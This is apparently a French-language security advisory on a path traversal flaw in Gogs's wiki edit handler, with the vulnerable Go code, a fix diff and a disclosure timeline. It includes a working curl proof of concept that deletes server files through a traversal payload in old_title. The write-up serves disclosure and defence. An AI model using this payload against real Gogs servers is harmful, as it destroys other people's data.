
Suppression arbitraire de fichiers dans Gogs via un Path Traversal du Wiki
Sévérité : Élevée (CVSS 7.5)
Logiciel affecté : Gogs <= 0.13.3
Corrigé dans : 0.13.4, 0.14.0+dev
Avis : GHSA-jp7c-wj6q-3qf2
Correctif : gogs/gogs#8099
Lors d'un audit de sécurité de Gogs (un service Git auto-hébergé populaire écrit en Go), j'ai découvert une vulnérabilité de traversée de chemin dans la fonction updateWikiPage. Elle permet à un utilisateur authentifié disposant d'un accès en écriture au wiki de supprimer des fichiers arbitraires sur le serveur en injectant des séquences de traversée de chemin dans le paramètre old_title du formulaire d'édition du wiki.
La vulnérabilité est un défaut de sanitisation asymétrique dans internal/database/wiki.go. Lorsqu'une page wiki est mise à jour, la fonction traite deux paramètres de titre différemment :
| Paramètre | Sanitisé ? |
|---|
// internal/database/wiki.go
// Line 105: New title IS sanitized
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")
// Lines 113-115: Old title is NOT sanitized before os.Remove()
} else {
os.Remove(path.Join(localPath, oldTitle+".md")) // ← VULNERABLE
}
La valeur oldTitle transite directement de l'entrée de formulaire contrôlée par l'utilisateur, via le gestionnaire de route, jusqu'à os.Remove() sans aucune sanitisation du chemin.
User Input (Form) Route Handler Database Function
┌─────────────────┐ ┌─────────────────────┐ ┌──────────────────────────┐
│ f.OldTitle │───────>│ EditWikiPost() │─────────>│ updateWikiPage() │
│ (unsanitized) │ │ wiki.go:246 │ │ │
└─────────────────┘ │ │ │ Line 114: │
│ No sanitization! │ │ os.Remove(path.Join( │
│ │ │ localPath, │
└─────────────────────┘ │ oldTitle+".md")) │
└──────────────────────────┘
Prérequis : Utilisateur authentifié disposant d'un accès en écriture au wiki de n'importe quel dépôt.
/repo/wiki/editold_title du formulaire pour y inclure des séquences de traversée de chemin (par ex. ../../../../tmp/target_file)# Step 1: Authenticate and create/edit a wiki page
# Step 2: Intercept the POST request and inject traversal in old_title
curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
-H "Cookie: i_like_gogs=<session_cookie>" \
-d "old_title=../../../../../../../tmp/target_file" \
-d "title=TestPage" \
-d "content=test" \
-d "message=test"
# Result: /tmp/target_file.md is deleted from the server
L'extension .md est ajoutée automatiquement. Tout fichier se terminant par .md sur lequel le processus Gogs dispose d'une permission d'écriture peut être supprimé.
Appliquez à oldTitle la même sanitisation ToWikiPageName que celle déjà appliquée à title :
func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
// ... existing code ...
title = ToWikiPageName(title)
+ // Sanitize oldTitle to prevent path traversal
+ if oldTitle != "" {
+ oldTitle = ToWikiPageName(oldTitle)
+ }
filename := path.Join(localPath, title+".md")
// ...
}
J'ai proposé ce correctif lors de la divulgation et les mainteneurs de Gogs l'ont implémenté dans la PR #8099.
| Utilisé dans |
|---|
title (nouveau nom) | Oui — via ToWikiPageName() | path.Join() pour la création de fichier |
oldTitle (ancien nom) | Non | path.Join() + os.Remove() |
| Impact | Description |
|---|
| Suppression arbitraire de fichiers | Supprimer tout fichier .md sur lequel le processus Gogs peut écrire |
| Déni de service | Supprimer des fichiers de configuration ou de données critiques |
| Perte de données | Détruire les pages wiki, la documentation ou les fichiers de dépôt d'autres utilisateurs |
| Escalade potentielle | Combinée à d'autres vulnérabilités, pourrait mener à une compromission plus étendue |
| Date | Événement |
|---|
| 2025-12-13 | Vulnérabilité découverte lors d'un audit de sécurité |
| 2025-12-13 | Avis soumis via GitHub Security Advisory (GHSA-jp7c-wj6q-3qf2) |
| 2026-01-20 | Relance auprès des mainteneurs de Gogs |
| 2026-01-20 | Le mainteneur a reconnu la vulnérabilité |
| 2026-01-22 | Correctif fusionné (#8099) |
| 2026-01-22 | CVE-2026-24135 attribué par GitHub |
| 2026-02-06 | Divulgation publique |